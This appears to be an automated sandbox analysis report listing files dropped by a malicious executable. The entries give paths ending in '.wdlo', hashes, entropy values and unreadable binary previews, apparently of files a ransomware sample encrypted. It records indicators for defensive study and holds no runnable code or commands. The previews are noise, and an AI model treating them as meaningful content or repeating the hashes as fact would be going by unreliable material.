Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	66542
Entropy (8bit):	7.997147665490308
Encrypted:	true
SSDEEP:	1536:3XAUMfvyfE6dnaRLfPMI8DoKYH9QCCgm4AoaJlVdpo1s:tkCSLcI81YHOCFm4NkVCs
MD5:	1A9386288E404DFCD0B4A56DA6B0BC79
SHA1:	AFABB00991C04CC77940D778FC118E87C6D4E651
SHA-256:	3C4735B80F0A2E9947C628677E8CD60438A582EDDA5CC4986A0A47D84A2A4ECF
SHA-512:	2F19DB26B6C950F78D8E6032A7B05B10310924DE369670BD6D79A0CCD0D61A8AFABCEAE2F26AD6DD3DB6574C4206367AB36B9B6BD761EADB3656543365536112
Malicious:	true
Preview:	1G.f.b....yd.M.......W3\|...{.M..........aI...H..v....;.Y.....>7.lU....!.La.......LD..Q...;B..u.u...` 2.........}.....<RF.....i.o...Y...b..i\....4..N..q..y...=;.z.@.Y.m....`..)..s"..Q........rO...{g.i..<....<.{.c.C.(...c......7..<....N...9..F.-t.F<.s.....C#..k$...gt'..o..hp........l..l~'...W..R...p......I.3.28.L.!(..9..c...2I.FC...4R.agG9...6V3......gu....7+.......Rd3.J...4........Z$..#......w.D.i.;P.X. .vp.tc..h.&E.M.2....e~<1%...B:....jvv...(5LT.[..E..5.mk...x....?u.d.a.`.pm..d.$4'F.\|.9.T. ...../7...8....=...)O.F9m..+.!>)..An.x..>..K.'GR..'..#..........K...p..&:P.f3.^c..rig...+R..m..........d...2.V(ZY.#KPf.^.'.......+.0..>.nA_.xuu..b...a.]*.j..p.....v!(.B.45X{.......Q-<.>./..8..1..6D.../....\.]...W./V")..\.k.y...+j.0..[..^.i..S...b.,.RS+.P.d..`.\|..0.}..6~..c.~......\|..s....M.ks.......}.....3.X..F..,..Q..f=.h.8...~..t/..h..4%..Xua..z.l=c.W.u1...3.vpa.@.V..S.)....P.V^..;qDh."...2...!`V#./..J.q....w..j....W-+h. .wW....Z....).

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99120955835944
Encrypted:	true
SSDEEP:	768:fPqwTaRKeQRkXubyklH+p4a6DwjoLieZMHtf:fiTRK3W+ekgpfvUW9V
MD5:	CF95D59D728DF4EDE7ED8B30BD7F6883
SHA1:	9B8783734D13B3C4F74A3B184D210B3D8ADC58EF
SHA-256:	D27C88CC60802034CA65D916C501B084BAF12FC6F011DDEFD5DC79758040D234
SHA-512:	29E75A968AA0A1A5B685314BF1B9741B231D2C1F82A07C7086A6961BC5820847EFC515374ED5475EC2054B531714DB85ED344C7A500C9D48F997B0FA398E6BC8
Malicious:	true
Preview:	SQLit~...R....m..6...n~U.KZ.H...>......8..&. ....b_.!...!&....3.S.=V..3....R.Dh&:...B..A...Z.?....3..!.Mn...\|i....L..A.ZcZ..y.z....9..8..?7......7.....hx.....(......<H.....RL.....X.q...\|uyq?..v....n/..e..k..".S&3.9s...R;c..l.G}.......b...#..g..D....O..B.....!@.h6.....x.-....e}Lj...#.F.-..p_!.:...........x..V.,H.....K...u..~...C...H....r..b...o..I...s/f...[........vv....'.U...(.o..d..s.....kV....Mi.'.M....tdi...).G.....R.I.'p.c.4Je_.`.U\|..j3R.-......s.8p.%.....0....Uq..,...Z2.pg..]'..L.....v.GfD.>Y.......9Xh...P...\P...`n.._\|.@0:.D...0.%..a..I.. .V.Jmw.a47..../ZO6V6..f.)7..{..DQ..2<4~..Pc\|.~j....2.(\...<../...D4..."..i.._&..s.\MA.<h....F.7..d.V(&6..].~...$.....^...u..&F.+....(...[.X.Cn.g..o.k.f.....'kE...'...#......H.... .MNA.a..]..r..'.....f_4.&.....aa;i.L@.TIL.3..t._.)..^~}G..\..@..J..4Qr..\...1.U...%.I/.R..4k..vg0pr.i...a.........\..".P.k.`...#....T....F.-.I"..7...P.Rn"..........z.o2...d,\..W/KU^_.q....So,...j..cC....?..Y.v...

C:\Users\user\Local Settings\Temp\44245C70.exe.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Nv:9
MD5:	D3B07384D113EDEC49EAA6238AD5FF00
SHA1:	F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
SHA-256:	B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
SHA-512:	0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
Malicious:	false
Preview:	foo.

C:\Users\user\Local Settings\Temp\AdobeARM.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	5041
Entropy (8bit):	7.960135748684677
Encrypted:	false
SSDEEP:	96:oxu6d5E4Y+13MJcqQsk3Vxfl82NdP7OLbAft/vEKbw2P1zecmg1L7Gkci7eIB2Kc:gPE4Y+13NXsk3Vxfi2bPubg/MHc1qvEM
MD5:	0BB8D8DCC89B1C2601BBFD714FC9F725
SHA1:	39FB26398A791585CFF116F9CF35FF35AA869008
SHA-256:	C9381DB18EAC3AEEE871FF862C18C52CDE82DBC14D29E59D572D6E883FB9575B
SHA-512:	24EB4F6229D5FFBF953E6DC8AADB13103D58A67711C1C93139DE723C45225F00DC716CD39494ECB72E7862CB0A357F2EEF1611B1EB229E6C849755D56CF1918D
Malicious:	false
Preview:	[2023U..y...+.h...&....g?..`q......J.g1...o.Y......j.F..!x..nZ.H..s.=1[\.>9...."..P...1!..y.Xx].tl......qQZ .(yo.............:(X..L....p.S}C.P...g$...Vi..`...Kwm.).v..b..0n....F.G.".Fy..c...e...t.....>....y........T.R....P.....J.Z.y.........cE.....OC.:'.B........(R.8...iz.....h....R...&?.......{.....G......OA..6a...R..=w,c...M..XI...@..t.)......#'.r..E~w.a......pO`...Y.[.6TI.\..._.......C........&..p.G..2.G/.Z..L.n...^...@G.b..&......X.......T)...V.'........qxq_.=w.rY...FP...Kh..(.....'..!/..dJdRJ.a.<).u..H..\|Y({..j....b.+"....).T.g....:J9....6..h..{.%_....5..r.5.%'...w-7..T#O.....}.............~.m2.T...J......KNi.q$".?.O ..X.@...u...qE.....$..n..&n".......:...0........7wW...P.R.x..z\.B...r...I...${....m"p?o\..^nX7.e;9.K........K.....C.FW....X...B.o.c.-.w......1Hf...[b...D.E....JS.........G.@f.........g....!...6...X......}..~{5.F......r.e...{.]..0.^....*..FX..E....K..t......Zw-.r.C'k#..r+p...n74+.....Y.q..C:..s....+s....jVMT`-

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	42850
Entropy (8bit):	7.995410859047059
Encrypted:	true
SSDEEP:	768:YblcCffQ4zBGZaDgRFYgQKNZs0SDjdhP4OtvMa3krqdSUNI:5CffQTaDaYgQKrs0SDjX4ORMpOVq
MD5:	FE1BB31D964152BCF9429BACA96F4ED8
SHA1:	4D094B067D1D533BEC635B9E1EEC9F77132D895E
SHA-256:	CACF4F404C1D79FF0FDC898912CAD332C3E55047CBDD468863E2877AFCC7C630
SHA-512:	00F41F0E322DBD2951B4A0DF0764C60E71FAB5AD57C198EE3509355CC15561952A616F9134A8FE380922B7A458963647C4EEC8CE0C9E7B9D8D2E8F1C692440C5
Malicious:	true
Preview:	..T.i.....ZKk{.V...g.CB.y.Bu....K..ByvSN.J..run.'...........k.\|=8.7...)=`9=....$.6....?4.d..<..s'....Lq...h.Uj.n..`.u/.0.S.7..R`.4....ln.X...5..Q........nd.P?kT..~>S..+..&....0... '.9...6X.-..,..P..v..d.,..D9..a=8.`...}K.)<1.>.....l........N.3...$........M..\.........(.f&../..N...\|...&?.s..a....2U}z...XQ....$y.%O.M.n.....!.....Gq....P....5f0%.F.M].nK.'!..k.U.....&.s.FzwD9...M.......R.'...l..b.....D[....=....=.R......6.(.h"..)C.#.bU....\|...+_=..!.=......`\|F....v E.."......}.(T.......n..d ..73.l.}.......@.!x%..o>......4.o.A.8..I...!jr"\.Q.@m.zb..`..X.V:....2s!MFu..eWKi.....e...\|;.2Vh.z.M...n...x..u..e..ku...U,1......p.6..C..I.^...mf....n.b%....FKF..;s.\=....T.\/..y)...{..........T1`l,..WK/I....Y.qq1........T......<g.=).'q.F....n...e-......e...L...._F9..._..QoM...w.......m.$...n.z..6^n.n...6..P....E.-....j..j.(;..k..f......c...n)....d....l.\|...."...._%#y.HY.....1...y.....!.^...!m?.N>Fz. .Jl.^O.B...p..9.E..*.~.....{..]..U. ..u...

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258a.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	462288
Entropy (8bit):	5.848374873231237
Encrypted:	false
SSDEEP:	3072:/0MuJT0+EO927j3CEZgZJWLLAw341o1ZrhcE4esXfLmUWUs+4OsNHkujtNKkxY9V:8PhB923fZgZJyAj1erOeczmU4koHO
MD5:	63A776F3D578291044F44F4E40569ED3
SHA1:	8767B1D0B4AB91CA3DC510299724F1B0D4D62525
SHA-256:	F69F53F92CD0ECEDA28D27177A16616E75684409A2549115B03B59CEA00275CF
SHA-512:	46FB4FAE439E21C7F25140A16D3BDCB0B39E944714F7FBBA5F04B1C9E4250C5CF1D0D0D1F5CD346AD437FE6CAA1A8E2CC8875C72D679D0C1A1A9212026BEEB7A
Malicious:	false
Preview:	..T.i.m..X....SW.A\|..I..M<e_.Z....K.....u1.L....H.:t........:.T........M.m.Qk.@.EP.....gPY...}.L.....^w......D......}"$..n.S.a\|XS.A...U.zI.iH..kY..+.g....>..'....0W...gg1.mp...c.3..S...N.l.l.z...U.o^.Qc.P.....~iL..d.._.H`....(..TNf.\[I..LVX.............. Y....%./s/..........i..p..R...wB.0.{...T.5..tQ.0.-z........`K......-...N.....B.....#........Pq.z.^...E'....r....n..).q...7./438?y.>..W..~.......W.......h.(....l....Y...6..S..... q.m\..e."'.SY..Z..x.jf24.&HD.....G.............x....4..?...N...G...cq.],d..AB..>@..iN...\..v.Mv.-.TAO~.y....6zpc...2.".....6<..^.o..P..N..\5..._.Qy.^..T.t.j.. Q....8^....(.bq.=+p.X.G1.{.O..C..3..I..i...a#......{..l.C@.\..k.[3.8..{U.">.g{..d.f.....S.....M.y....+.;...eI....%.0...F....iH.........-;.5.....0x..bu0..z`.....s..Fo.\|.....E(v..yp..E......p%u.<.A..[.#$~....4..&.S..^.......P'.B.6.]i...s.m.r.}.......\..S....=.!k...kN....G.DX.....5..SF..UW....^.C.S.3.iaJ8.Qdg....*:%..Ow..U.A[N...D.3..C..-....%.x.-tL'@.V

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258b.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	289976
Entropy (8bit):	6.695166777571973
Encrypted:	false
SSDEEP:	6144:6+CBYS+42uBxGgVdBVlD6oXNae84676u6QzIcGnivkuX0b39/22ZOKyymLe9qDOs:6rOS3zxjB76oXNal9zIcGnivkuX0b39o
MD5:	2B7CF3946D1A2C802CE36F0E813F3393
SHA1:	38C8658893B2761886870B227A0E6052A5B18E86
SHA-256:	C581BC8340A48E9D08C8483EF2D39896B526755E541AA4788DD017F569511EF6
SHA-512:	971142AC88C855FA5A6A3397EE6776E88F50C75BC6F5359C573B6F421581450BD71D45B142AB7A6135C9C78712D5FD2D263C0F7970F693BBE3B7F7DCC0453C2D
Malicious:	false
Preview:	..T.i>....V.v...8(e.)...{;..~..p...;1n...L...l.v`.z..xD..H .S.L.........)C...q.....?.W..U.....Y....'..Yw..[.T.j./.....v8...$."r...M...Z%...3..(.n3@J.+.....l$&.f...ZF_.wy...j.V....C...S.p\|.d.(...,Y.#..m.F....e...w.J^.......7...,.[&m....O.K.-.Q...c...0...vGGtZ...:.O.{....-../.#.`h .\|.[...j.Ai<v.l...dy,&...k.-X..Gl=~l....dJ..;F.3..qH..F......g..e.=./.nZ...e\|&N...-..-5......O)c.......(/...A.J........?.....U.0AX.g....I.bn.K;....#0\%.mM!.].<.Nac-X..h..b.....2.-..<:......eYS0..e..a.?U'.z......6.t.).h.h.u...D..If.s=%9g.Jr....Lj \d}(+-..2<.......A7...a3''....E}.C/..kmZ...X..+4.'.lm./.#.0.$\...t<...<V,.Q...q..D....wr.M...l;\|.../;]D.]/A..f"...x..v...I.a.M.Z._j...d.c.bQ.!A.....s..[....Ep...m..............hJ.~...x...-D.g..b.>.J.v......,.3T$y..&.....8A.UE-.'^r...`..zrs......!..By.F=h...6..l.d....E....7....Qs.;0..6<.-......<..'z@....V9.............$..<.p.....7.W<\|.h..IW1...W.s.h3.K...9....'.s......3.q.\|.8l...#:...A.h..]8....P2....._!.......\|i.K..lw.

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1258c.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	98568
Entropy (8bit):	7.997969288169805
Encrypted:	true
SSDEEP:	3072:XbpVZvq18cOLlRL7rAhQoA6HkNOggW0pHKz:rMmcOLHcU6uOm0pqz
MD5:	AA0F9B168F1A751773658CDEABC20F74
SHA1:	C0290F0C24D4B2CE97A872FCAE5E097962D47C21
SHA-256:	1D6F7080E7A85BBD0621391D3613E409B48C6C916CF3946196CC8B64846D8549
SHA-512:	4492AD2BB4F39B6F9760D3BE718EA81873BBC1FDF6546B6186C9809CD8E9C25709D57CFD2837886FAF186D59A312AC9F2715C2B1CD1B79939F12CDA34064093F
Malicious:	true
Preview:	..T.i....b\|-.Y.R.f.H..T.........u..$.C3..}B}&...9...5dE..z:...Wd..~...NDQ..2.....}...po\..Y...%@..^....Z....Ys...t,..J.EG..N#...W.9<...e..[3n.W..8[...U.?B..Kb.Ff.(...n..~.`......&...k.o}9p].("..8O..s.........{......n.yf.P].$.....\|.k}MO......5E..1..S...ds@.F..).......U.ws.4...+M..:....c.G.q..G[...\|t....E./~.{.).v.....[...O..C.v..- .....k.&..vRKW...<.B...i<..'.9....=.....l .W.n.\|N7.%.$..T<aY.....o.c.G.L.Nq.$.r."L.g..G....-...Z.....\..U......Cr..IK....<o3..t..}..).9..(.r....(........M..-HvFq...<.y.......wtn7..^L.s..T.tt.b........q. %r ,.P.I...y~b.....Ti!..... .\|..O...;...7{...i..O)\d..bKx......[....%!....v...82...(....?.7D...p.:F_.a..Ew.\|.@k...WA."E.B...C6C}.h...y[.&...U)....hd#.,...]...r...b......0........D.....l..[#..........'..:\.J6..........C.e..%.....8R.../....:......^...C...vi.I.......k2..[....T)+...q{.2..fViG..$1.tf.Y'....{...B..).... ..*&..N......c='........R...x$..w...l.u.\|....,....Np...o.d\~..wu.j.u5.1.kb..f..w....U

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1305.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	395914
Entropy (8bit):	6.097471164607112
Encrypted:	false
SSDEEP:	3072:xYocZh2U98QtrE/KxbI3uTMAHNr3aLefrk0yC6h7RUp9ui3PQ3tHL:WouyQtMKxbMAHRwqo0yC6dRS9z3PQ3RL
MD5:	41BA00A58BDB9DD352F83BFB097590F5
SHA1:	201556F8C37B0B792EE4354FEFFB7ED2B430A676
SHA-256:	36CDB5587AC3BAE0B4021438B4774052916347193C278968C442821F1151CAA2
SHA-512:	283B22208F5F0EEBA269E7C3D26A509D9F794725760D7880020F0B4052A2DBDCFAE56769FAD1AEA1BA1F1809C49CA19A76B46CE888B223DDBA8E7B0DE322AEEB
Malicious:	false
Preview:	..T.i..N...mu..` ./...k.5..v..~l.%.;..qK..........6.R..l.2_[..}...?....a...6...N...u.......&...ZgD.......:H.;C}.....8...p:{..0..v5..W...#=.,.SB.@.5..mT.j$.{M4is.f.m..x.GKjD......_"3/D...Xe..SY(l6.t.9G..3.g%..{I.h..b.O......M`....Z<I.o....._.e4..K.@[xj.n.;..."$.x..1../..KN..h..JOn......>z.mE];..C...S[..}...Ec..u>.DW..-..e+.I...K3..7[Zpt....g.U.g.o..<y_Gi...r2..A_....8%"....)....~......R..pc..t..Z.bOo.C..v.l..s..4.......`4T6.......haV,.z...g..l.0.......P......f...di...j^....^\.z."s...I&.....q@..`.++<...\|...,k.)k(k...H...UP.eJ..u.m......{...(......9.]=...........f..RwZ...p.....T'.".D..h0....{..........(..~.....O...`c..bQ.`;.I\...L...A@...R.d=-..O...........EZF......<)+..K..7.....W...&b/;.=5b..^.o..TFe[WA.Pi#....^..r;..c........}.\M$...R.;..$k..!..N...C..{...".@&...@g ...r....`O......j...{.....S....`..`.Mz...>....G..u{...+.3.f.x0.....FY.,....$..wG...WCC.......i...m......,&k..E}..v..qCw.`.?.s.DG....i........ \!r..O.2..mO.0..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231003-1309.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.998487853781982
Encrypted:	true
SSDEEP:	3072:Qasu5C6T0GWONjX8E8iVEA78lMaqrVkO9DGfxkTgEDzVj6:Q1n6TnJRX8pAwnqmSk6zVj6
MD5:	42CEF44B83B919E6BCA4580D7347F8F0
SHA1:	69AF71EFAEEF2B3CE3BC9A4D0550AF8ED1C40CF7
SHA-256:	467EEBE85E4A2AD29D7BF269B2E3E862009C76114503536BD7EC915B1BE87166
SHA-512:	E50114E1D58B2BEBFB433B1BDDD721EE97296B3BDBBC8EDF42FA379C0A24B44BC1ED4E07379FFAD0F8E18463633B40DCF97AC0BA7BF348EA515FA6A5EB0003BC
Malicious:	true
Preview:	..T.i._.d..Y0m.tfO8=.....L5.\.....W=s.\|k..'-.m..C..R...d.....v..4.ET=Xo...k.^.F~...m...U....hQ.G.G........p.O(G......y.;0^.A..A...!5.o._..#Tf.~.a..p..k.j....u!...w.2..x.....ZL...k1..........1H.W..].y...U....'dKo....!X.sV..a..].....k.".z.\|\n....(.X....Z7.... ...y.''.....0v.?..x.....t.}I....I..?.4..d./s.....Y...}.Q..Z.\|.......E...~...61.p..t6.M.-...nH.m]{ zZi..6.z~.6.../.y.9........z.]..d.?5.t...R..C..h..[..u.op;g <...........e.a..E..T....O_.V....<.C..<-L.$Js?...S.M... .0`..M$.....i.[g....y....G.>....X{]T./..a..C\|...j.!.}....(..B.D.w.[80.%S..]/......R.w..`..n.'U..(....6.H.K.g...=ir.nl"/f.....=.J. e.0[...<.Zw..G.T.lxdT..].. .....R..4N..S[p}2....Fz .A.Y.)A..pr.............3..........P].....Ye.jh.d#...#5...o&....p..z4....n.@,..[.l...mW..v..?..I.FZ'........AW......x..h.7.#\u..Q<. ...f...q.mY..y..&.W~G.........<fIt.@....B%...o....m..2......C....m.....H...f..~'p6}.G.......w..F.'..Q..g;G.<`7...`.e.SA?..q....pj)..P.8...1....

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	9798
Entropy (8bit):	7.979375884092645
Encrypted:	false
SSDEEP:	192:uhDY4ePVdsA5EGdRtB2QhPf+dJpd/UXwcYIzsdQ3pIUCrV5IbqfJGCy/KjXMQq5:udYNsY2jphUXFYIgKp2JZJi/Kbs
MD5:	3C33D79A98F49C1550404AA7B5AB9E9A
SHA1:	495958F7754B5CBC5101B9CA8977DF37FF014C7D
SHA-256:	6247E0A6E2BBE350F176A26E6EBB07B01083A4A3B3ED3A6EDBA8B6F2FC4A703D
SHA-512:	65B7D14CA8D8B66674E4ACE89C284A1B83D607C763794087FE19A9A0F245771D5E386437A10AFBF0400CED06588C5B2B7484241CDBF0C9E5501E85A2E59BA7B7
Malicious:	false
Preview:	..T.i4.0.I..y........\\|.....C#.Y..jP..i..$.4.P..D{.#._'i..v!..y..;........3..S.......Vi.....#.0.@.....uT....@w\|...g......4.wnZT.H....3&.'9......\.Y..p.u.....W...u...k@.s5"..............X'W.V....$4...U.mi...b.3.#`......8!..O..%..W..@..{;c.N...;.%.Z!.Y.M..A......p.tLb......./.a4...w.e.J...=.;bf.\._\);4..aL.pk......X.S.....:.1...d$L..m..&.k6X..f.?..6x...:..dQ.gm.......).#../...ve.O9<....2.5....\4.p...+R..&B..\|...{0.sB..M........".t5:..v..`[..y.gv....y..qC.B.^K.vf.1.........!..F~..g..jI...^.kE..nY..n.30........J4.z.kG[.m."F.:........uO...+..!...=<.+...?.`]O.{......K..4.'?#.7.....+..4.$t..4....3p..._..9....!.."._a.....UH..~"o.#).D....+..u.u....770...j.5...i..zK.%........F.....`.9.6...J...........S...9m[.2 j...AE>..u......cs..;qh.....'.[..y..C.w..f;.'.....7M..w..$..$...q....;n.a....9#.[........8^*\|$...~...K..u...\.6.\.....a...x.g....2r..@..<.p....x..s.J....M:U..\|T.K_.\|].Qt.dvO.(.4.v.....,.k&.F...x.Ow.t..Wu...&..5.lp....=....h9..

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929a.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	58820
Entropy (8bit):	7.9970955967308255
Encrypted:	true
SSDEEP:	1536:G42l+P7irIYyP2op7uvH7jSPJsDv5MHePvcSa7xZzD:z2YP7M5yPFuzjSyXBafH
MD5:	7E56BD1ADD8F711D67DCC7BC2E3076E2
SHA1:	29E74CED1EF3B301D009741B228528787E2C5B46
SHA-256:	C24966F25022BE65C317136E06E8D2CCE3CDDC73DD5EF54E8F0A3BFB80CAEAE3
SHA-512:	2300BEA02416A01629C534D72D29D812C23BCD9B886C48D292F75831BD587C4778B52AA151C1717C7939DA9C76391BBD0483061B001D858B08D45C0EFFD638CA
Malicious:	true
Preview:	..T.i.....3....%..X.zm...!.9./.s..vnD.?2S.+.t(a`)n....s...x..x.z.l...].nb....>.C..6....s.U..t".t2..7W...F...<!.7....f._Q.,N.... ..%;A ...8.@..o.._=@..k..sm..&....w}........(..1.+..(.aO.>.rc.#......){B..... ..I..6...O."..O..J\|....y....R..F.h.T7zR....G&.k5.....f......t......gpe.s_......z'hb.^....:m2Rr.......1..y..^E../..9W...G..x...u..)....5GW.....d.{..U..x"..(nj.!`f.....(+.$`q......A8)..e(.B`..S.` H`.P.>.l.....rZ....<.8.......l#7.}....w.xx..o..O.cj..............k.k..g.e..9>.p.!_..Wq......2..(F..a..N.L{.'jT..' G.M.+...i).....b..._...u.0....uU.....tdh.....'.w.....<....F..`..O..l...Bn>>du....zv....:.<>$.YI.D.]...)>.Dt... ...RF.I.w$.. "o.......n..[zH..s....1.&....y..l....Gq)\.-..PAI".@..=..h..k......@]..u..{..).....?'t.vg......"......3? K?....a.[.... n&.d>...Cb%..M......t.K..ADV.{.1l......5...^f...r....$...,...`..3..li.D&.%.....B..Q...Q.L.).D9\|.....+..^*.......Ty.M..Z..$...2...{=7..3..b.?.4.....}..<..t^8g9R4.q........t.N.Htx...p....y..Pdf.......eN

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929b.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	112686
Entropy (8bit):	7.99845747974478
Encrypted:	true
SSDEEP:	3072:8ZDySMktK/Urh3FDd8NZYaAvwXT6IJIgBmWqVo3DB8y4xywi1S:2yPOK/qh3F2UvwnmgBmJwBxACS
MD5:	99A17E9CFDE3979C3775DA5D801DD119
SHA1:	B82682F628F69BD71F8EC3562D846C6AB350D6E2
SHA-256:	8E3EB45FD55E89F323A31CF5EF582281C00151AB5AAC24253A29A9940878A00F
SHA-512:	86EBA23CC31E347D5ABB5D88BF00CBE73FF1EE1F645DDC964DCCCB40DE7D5DD0AC06CB120859C1096CA8971BD9D961317844C83BBBA89889602BD7A99BB99EFA
Malicious:	true
Preview:	..T.i3._........0.n9.@...b0............R....^.>/..s.T].be.....r.....X.k...A(...1..e.S......C/~.....g..0w..E.!\|.]N.VL.-X"....d/n :.~%w..\.+...`'...O.!o..1l...'B...n...o.7wq.do.....9..T.U.ONjr..8...S.N{D..?)G.H.H-f..9Z..G.......?........O=f0IJ..b.r.....e............h...Ga. ....g.na.!.E~Z... Y..m\#...e.....A.Z3.z....5.~X._&.T...R..J.Y...n.:..y.Y...D....0....%.U.6.....:..$?.l....]2.a......`...o....m. `b.B..=..FU.\|x5O.....3X..G.&C.b..s.-..D...?...a.....Z6U...../.......l..y[4.]z...>.N.Vk.&....ON.o....a.=.~....@P{.....f...`@.7...8^.I...5..]</...m..f\|...0"..;.+`.....0[.CW..m=h.`..\| I..P...... ...~...<'G...?....yx...B...9....q...Y.Z. .)VtY.......g.F...,..... ..W..Y.:..P..IO..f...=.......i.u......?h.A..4.%.N .mD....hj.A)...P...P/...m...u_...u$.8.sN..'._.8.{.%9....H"....vk.c.L\0...DlBe......uv.H.12.1.q8=^..e.;vI0L6.0.....B.#[.O...q.k.r.^...79tRm[W5f>...t.h...........]k....S.z.t....\|@.. ...<.#...[xt........D8[q\|....Zh1....m..J.>.2S:.>o

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-0929c.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	7696
Entropy (8bit):	7.972646440269707
Encrypted:	false
SSDEEP:	192:ZMX8a0Fcr6u0GJm28EdpwarKPhPR6EP1dvz5PO1p4R:Z4B0+rm28Ed6TPRt9d234R
MD5:	F6857FF623CABD09C032C572B12234D9
SHA1:	D14C64CD4F0A378D6E02329670C075BD2D52261A
SHA-256:	0341FD7A1B9B1011A24B3223FC5619D4AEAF9BE1CD35A1EE20364451374F4A53
SHA-512:	6644093253213C133E595089EEF1DA6C543F64C86D76DC291F0ADC296589B53435B3297255871DDB8F09EEC66A61A87E93AE0B7EDD34DDAA9E115C56DD6DEE97
Malicious:	false
Preview:	..T.i.....=.x......uD%.Ab...H......V0f..p.[......\.,{.voS>.....~....ej...}b..m..1...s..69.qw-..N..h.@/..x~.pYh........u./T...U..8.ns.@iL.&..2.).?.qN.2...8..A.I.....U..SH!.`.m...._...Z...l...U.0r...... .V......H......D....9$.......`9..l..g..PVu_....LL..O..%i.+8\|G.cF...l..!...I'...o.o.b........9.Y7..+.Y..wy...z..q..RE...0..{..n.;W......h....5..........+..@I......:.~.Aa(9.z.~.1....H*..c..7....T.5..H..5lt...^..oOJ7..eV...,.. .....].<...}G....=3D..c.m{..h.p.....d....].6..8i..........1.~.T.a.;q......n ....... .....J........\!.3.g:[,.".....T..i.4..G.-...i(tS...[t...VbM.C....3.<..f_w.j...$....G.l0.).Kr^.l.1%.6..:s..iws...O...3..!.){............l\...T..g....A.@b...d.'.].D...#.%\..F..........l.r....\|...H.d.....[..}^..Z\e6?gs...........l:~{e.A.7..=..D...v.....8b.S."M.9....g.w....!V.,...)......"...z..1..k....s.1V"........2...."8,U/.3.Ra..\|....N8..?..._:.....Z....Hza...]...-.Z.&@....f`=.].....)..\|6....^..f...-...d......Y>....6...Y.G_.(

C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231004-1000.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	40082
Entropy (8bit):	7.995673423047308
Encrypted:	true
SSDEEP:	768:PVotAaRDU9q8UfAFRiqJkrPVRfksXVMGFG73MlqZPHNSskbvgUmSo:PVgShFU/fFMGFhqZPN98IUmSo
MD5:	6FD83AED6FE61538A80D73CC0F477CFF
SHA1:	F31F2CE9A8F6A3ACF42054BD8887E47CC8836379
SHA-256:	73FB54D0A9DC0F02ED95A1CF978769C8543C198836B1645BAC28EE50B2D869A8
SHA-512:	226465E4BACD5FC389B7E9996F0F430527D6C1E612F621223FB7A583AEA84B4FA12AA01AF3A893FA064445FA32B6AAA12E4CE36E69908DCB681C565D6CA7E82F
Malicious:	true
